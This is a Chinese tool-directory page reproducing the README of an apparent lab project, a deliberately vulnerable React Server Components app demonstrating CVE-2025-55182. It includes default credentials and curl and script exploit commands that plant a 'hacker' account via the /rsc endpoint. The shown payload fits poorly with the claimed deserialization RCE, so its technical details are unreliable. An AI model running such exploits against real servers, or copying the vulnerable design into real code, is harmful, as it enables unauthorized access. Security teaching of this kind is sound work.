Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
React2Shell-Kingdom — "从前,Reactland 城堡信任所有的 Flight 消息……直到冒名顶替者出现。" 一个故事化的 CVE-2025-55182 (React2Shell) 演示——以中世纪为主题、存在漏洞的 React Server Components 应用,用于安全教育。 | Kitploit
工具/GitHubGitHub/mycompanyorganization/react2shell-kingdom
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubmycompanyorganization/react2shell-kingdom

React2Shell-Kingdom

"从前,Reactland 城堡信任所有的 Flight 消息……直到冒名顶替者出现。" 一个故事化的 CVE-2025-55182 (React2Shell) 演示——以中世纪为主题、存在漏洞的 React Server Components 应用,用于安全教育。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
8个月前尚未审核
分享

React CVE-2025-55182 漏洞演示项目

⚠️ 安全警告

本项目演示 React Server Components 19.1.1 中的一个严重 RCE 漏洞(CVE-2025-55182 / React2Shell)。

  • 仅供教育和安全研究使用
  • 切勿部署到生产环境或暴露于不受信任的网络
  • 仅在隔离、受控的环境中运行
  • 测试前请确保已获得适当授权

概述

本项目演示 CVE-2025-55182(React2Shell),这是 React Server Components 19.1.1 中的一个严重远程代码执行(RCE)漏洞。该应用包含:

  • 带用户名/密码认证的单页网站
  • React Server Components (RSC) 实现
  • RSC Flight 协议端点(存在漏洞)
  • Docker 部署配置
  • 演示该漏洞的 POC 利用载荷

项目结构

root@kitploit:~
react-cve-demo/
├── package.json              # React 19.1.1 with react-server-dom-webpack
├── server.js                 # Custom React server with RSC support
├── src/
│   ├── App.jsx              # Main React component
│   ├── Login.jsx            # Login page component
│   ├── Dashboard.jsx        # Protected page component
│   └── server-components/   # Server Components
│       └── AuthServer.jsx   # Server-side auth logic
├── data/
│   └── users.json           # User credentials storage
├── Dockerfile               # Docker containerization
├── docker-compose.yml       # Docker Compose setup
├── .dockerignore
├── exploit/
│   ├── poc.js              # POC exploit script (Node.js)
│   └── poc.sh              # POC exploit script (bash/curl)
└── README.md               # This file

环境要求

  • Node.js 18+
  • Docker 和 Docker Compose(可选,用于容器化部署)
  • npm 或 yarn

安装

本地开发

  1. 克隆或下载此仓库
  2. 安装依赖:
    root@kitploit:~
    npm install
    
  3. 启动服务器:
    root@kitploit:~
    npm start
    
  4. 通过 http://localhost:3000 访问应用

Docker 部署

  1. 使用 Docker Compose 构建并运行:

    root@kitploit:~
    docker-compose up --build
    

    或者手动构建并运行:

    root@kitploit:~
    docker build -t react-cve-demo .
    docker run -p 3000:3000 react-cve-demo
    
  2. 通过 http://localhost:3000 访问应用

使用流程

正常认证流程

  1. 访问应用:导航到 http://localhost:3000
  2. 登录页面:您将看到一个登录表单
  3. 默认凭据:
    • 用户名:admin,密码:securepassword123
    • 用户名:user1,密码:password123
  4. 登录成功:您将被重定向到受保护的控制面板
  5. 退出登录:点击退出按钮返回登录页面

漏洞演示

该漏洞存在于 RSC Flight 协议的反序列化机制中。该利用程序:

  1. 构造针对 Server Function 端点的恶意序列化载荷
  2. 利用不安全的反序列化执行任意 JavaScript
  3. 在 JSON 文件中创建新的用户条目
  4. 使用新凭据绕过认证

运行 POC 利用程序

选项 1:Node.js 脚本

root@kitploit:~
node exploit/poc.js

或使用自定义目标 URL:

root@kitploit:~
TARGET_URL=http://localhost:3000 node exploit/poc.js

选项 2:Bash 脚本

root@kitploit:~
./exploit/poc.sh

或使用自定义目标 URL:

root@kitploit:~
TARGET_URL=http://localhost:3000 ./exploit/poc.sh

选项 3:手动 curl 命令

单行版本:

root@kitploit:~
curl -X POST http://localhost:3000/rsc -H "Content-Type: application/json" -d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'

多行版本(便于阅读):

root@kitploit:~
curl -X POST http://localhost:3000/rsc \
  -H "Content-Type: application/json" \
  -d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'

注意: exploit/curl-oneline.txt 中还提供了可直接复制粘贴的单行命令

利用之后

运行利用程序后:

  1. 利用程序会在 data/users.json 中创建一个新用户
  2. 您现在可以使用新创建的凭据登录:
    • 用户名:hacker
    • 密码:hacked123
  3. 这演示了该漏洞如何绕过认证

技术细节

漏洞(CVE-2025-55182)

该漏洞存在于 React Server Components 19.1.1 中,具体涉及:

  • 组件:react-server-dom-webpack
  • 版本:19.1.1(存在漏洞)
  • 问题:RSC Flight 协议中的不安全反序列化
  • 影响:远程代码执行(RCE)
  • CVSS:严重

服务器实现

服务器(server.js)实现了:

  • Express.js HTTP 服务器
  • RSC Flight 协议端点(/rsc)
  • Server Function 执行(存在漏洞的端点)
  • 会话管理
  • 静态文件服务

认证系统

  • 登录组件:用于用户名/密码的客户端表单
  • Auth Server 组件:服务端认证逻辑
  • 用户存储:存储凭据的 JSON 文件(data/users.json)
  • 受保护路由:控制面板需要认证

RSC Flight 协议

RSC Flight 协议端点接受:

  • action: "callServerFunction":执行服务器函数
  • action: "renderRSC":渲染 React Server Components

漏洞存在于 Server Function 调用被反序列化和执行的过程中。

安全注意事项

⚠️ 重要警告

  1. 隔离环境:仅在受控、隔离的环境中运行
  2. 禁止生产使用:切勿将存在漏洞的代码部署到生产环境
  3. 网络隔离:不要暴露于不受信任的网络
  4. 教育目的:仅用于安全研究和教育
  5. 法律合规:测试前请确保已获得适当授权

最佳实践

  • 使用专用的虚拟机或容器进行测试
  • 除 localhost 外禁用网络访问
  • 不要在测试环境中存储敏感数据
  • 演示后清理测试数据
  • 遵循负责任披露实践

依赖项

  • React:19.1.1(存在漏洞的版本)
  • react-server-dom-webpack:19.1.1(存在漏洞的包)
  • Express.js:^4.18.2
  • express-session:^1.17.3
  • Node.js:18+

故障排除

服务器无法启动

  • 检查端口 3000 是否已被占用
  • 确认 Node.js 版本为 18 或更高
  • 确保所有依赖已安装(npm install)

利用程序不生效

  • 确认服务器正在运行
  • 检查 RSC 端点是否可访问
  • 查看服务器日志中的错误
  • 确保利用脚本具有适当的权限

Docker 问题

  • 确保 Docker 正在运行
  • 检查 Docker Compose 版本兼容性
  • 确认端口 3000 可用
  • 查看 Docker 日志:docker-compose logs

参考

  • CVE-2025-55182:React2Shell 漏洞
  • React Server Components 文档
  • RSC Flight 协议规范

许可证

MIT 许可证 - 仅用于教育目的

免责声明

本软件仅用于教育和安全研究目的。作者和贡献者不对因使用本软件而导致的任何滥用或损害负责。使用风险自负,并确保遵守所有适用的法律法规。

下载工具